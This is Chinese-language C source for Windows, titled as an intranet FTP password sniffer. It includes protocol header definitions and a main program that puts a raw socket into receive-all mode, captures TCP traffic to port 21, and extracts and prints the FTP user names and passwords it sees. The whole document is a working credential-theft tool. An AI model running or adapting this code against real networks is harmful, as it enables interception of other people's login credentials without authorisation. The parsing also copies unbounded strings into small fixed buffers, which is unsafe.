內網FTPpassword嗅探

protoinfo.hwindows

//////////////////////////////////////////////////
// protoinfo.h文件

/*

定義協議格式
定義協議中使用的宏

 */


#ifndef __PROTOINFO_H__
#define __PROTOINFO_H__


#define ETHERTYPE_IP    0x0800
#define ETHERTYPE_ARP   0x0806

typedef struct _ETHeader         // 14字節的以太頭
{
	UCHAR	dhost[6];			// 目的MAC地址destination mac address
	UCHAR	shost[6];			// 源MAC地址source mac address
	USHORT	type;				// 下層協議類型,如IP(ETHERTYPE_IP)、ARP(ETHERTYPE_ARP)等
} ETHeader, *PETHeader;


#define ARPHRD_ETHER 	1

// ARP協議opcodes
#define	ARPOP_REQUEST	1		// ARP 請求	
#define	ARPOP_REPLY		2		// ARP 響應


typedef struct _ARPHeader		// 28字節的ARP頭
{
	USHORT	hrd;				//	硬件地址空間,以太網中爲ARPHRD_ETHER
	USHORT	eth_type;			//  以太網類型,ETHERTYPE_IP ??
	UCHAR	maclen;				//	MAC地址的長度,爲6
	UCHAR	iplen;				//	IP地址的長度,爲4
	USHORT	opcode;				//	操做代碼,ARPOP_REQUEST爲請求,ARPOP_REPLY爲響應
	UCHAR	smac[6];			//	源MAC地址
	UCHAR	saddr[4];			//	源IP地址
	UCHAR	dmac[6];			//	目的MAC地址
	UCHAR	daddr[4];			//	目的IP地址
} ARPHeader, *PARPHeader;


// 協議
#define PROTO_ICMP    1
#define PROTO_IGMP    2
#define PROTO_TCP     6
#define PROTO_UDP     17

typedef struct _IPHeader		// 20字節的IP頭
{
    UCHAR     iphVerLen;      // 版本號和頭長度(各佔4位)
    UCHAR     ipTOS;          // 服務類型 
    USHORT    ipLength;       // 封包總長度,即整個IP報的長度
    USHORT    ipID;			  // 封包標識,唯一標識發送的每個數據報
    USHORT    ipFlags;	      // 標誌
    UCHAR     ipTTL;	      // 生存時間,就是TTL
    UCHAR     ipProtocol;     // 協議,多是TCP、UDP、ICMP等
    USHORT    ipChecksum;     // 校驗和
    ULONG     ipSource;       // 源IP地址
    ULONG     ipDestination;  // 目標IP地址
} IPHeader, *PIPHeader; 


// 定義TCP標誌
#define   TCP_FIN   0x01
#define   TCP_SYN   0x02
#define   TCP_RST   0x04
#define   TCP_PSH   0x08
#define   TCP_ACK   0x10
#define   TCP_URG   0x20
#define   TCP_ACE   0x40
#define   TCP_CWR   0x80

typedef struct _TCPHeader		// 20字節的TCP頭
{
	USHORT	sourcePort;			// 16位源端口號
	USHORT	destinationPort;	// 16位目的端口號
	ULONG	sequenceNumber;		// 32位序列號
	ULONG	acknowledgeNumber;	// 32位確認號
	UCHAR	dataoffset;			// 高4位表示數據偏移
	UCHAR	flags;				// 6位標誌位
								//FIN - 0x01
								//SYN - 0x02
								//RST - 0x04 
								//PUSH- 0x08
								//ACK- 0x10
								//URG- 0x20
								//ACE- 0x40
								//CWR- 0x80

	USHORT	windows;			// 16位窗口大小
	USHORT	checksum;			// 16位校驗和
	USHORT	urgentPointer;		// 16位緊急數據偏移量 
} TCPHeader, *PTCPHeader;

typedef struct _UDPHeader
{
	USHORT			sourcePort;		// 源端口號		
	USHORT			destinationPort;// 目的端口號		
	USHORT			len;			// 封包長度
	USHORT			checksum;		// 校驗和
} UDPHeader, *PUDPHeader;

#endif // __PROTOINFO_H__


#include <winsock2.h>
#include <stdio.h>
#include <mstcpip.h>
#include "../common/protoinfo.h" 
#pragma comment(lib, "WS2_32.lib")
#pragma comment(lib, "Advapi32.lib")





void GetFtp(char *pData, DWORD dwDestIp)
{
	char szBuf[256];
	static char szUserName[21];
	static char szPassword[21];

	if(strnicmp(pData, "USER ", 5) == 0)
	{
		sscanf(pData + 4, "%*[ ]%s", szUserName);	
	}
	else if(strnicmp(pData, "PASS ", 5) == 0)
	{
		sscanf(pData + 4, "%*[ ]%s", szPassword);

		wsprintf(szBuf, " Server Address: %s; User Name: %s; Password: %s; \n\n", 
								::inet_ntoa(*(in_addr*)&dwDestIp), szUserName, szPassword);

		printf(szBuf);	// 這裏您能夠將它保存到文件中
	}
}


void DecodeIPPacket(char *pData)
{
	IPHeader *pIPHdr = (IPHeader*)pData;


	int nHeaderLen = (pIPHdr->iphVerLen & 0xf) * sizeof(ULONG);

	switch(pIPHdr->ipProtocol)
	{
	case IPPROTO_TCP:
		{
			TCPHeader *pTCPHdr = (TCPHeader *)(pData + nHeaderLen);
			switch(::ntohs(pTCPHdr->destinationPort))
			{
			case 21:	// ftp協議
				{
					GetFtp((char*)pTCPHdr + sizeof(TCPHeader), pIPHdr->ipDestination);
				}
				break;

			case 80:	// http協議...
			case 8080:
				
				break;
			}
		}
		break;
	case IPPROTO_UDP:
		break;
	case IPPROTO_ICMP:
		break; 
	}
}


void main()
{

	WSADATA wsaData;
	WORD sockVersion = MAKEWORD(2, 0);
	WSAStartup(sockVersion, &wsaData);

	// 建立原始套節字
	SOCKET sRaw = socket(AF_INET, SOCK_RAW, IPPROTO_IP);

	// 獲取本地IP地址
	char szHostName[56];
	SOCKADDR_IN addr_in;
	struct  hostent *pHost;
	gethostname(szHostName, 56);
	if((pHost = gethostbyname((char*)szHostName)) == NULL)	
		return ;

	// 在調用ioctl以前,套節字必須綁定
	addr_in.sin_family  = AF_INET;
	addr_in.sin_port    = htons(0);
	memcpy(&addr_in.sin_addr.S_un.S_addr, pHost->h_addr_list[0], pHost->h_length);

	printf(" Binding to interface : %s \n", ::inet_ntoa(addr_in.sin_addr));
	if(bind(sRaw, (PSOCKADDR)&addr_in, sizeof(addr_in)) == SOCKET_ERROR)
		return;

	// 設置SIO_RCVALL控制代碼,以便接收全部的IP包	
	DWORD dwValue = 1;
	if(ioctlsocket(sRaw, SIO_RCVALL, &dwValue) != 0)	
		return ;
	
	// 開始接收封包
	printf(" \n\n begin to monitor ftp password... \n\n");
	char buff[1024];
	int nRet;
	while(TRUE)
	{
		nRet = recv(sRaw, buff, 1024, 0);
		if(nRet > 0)
		{
			DecodeIPPacket(buff);
		}
	}

	closesocket(sRaw);
	WSACleanup();	
	return;
}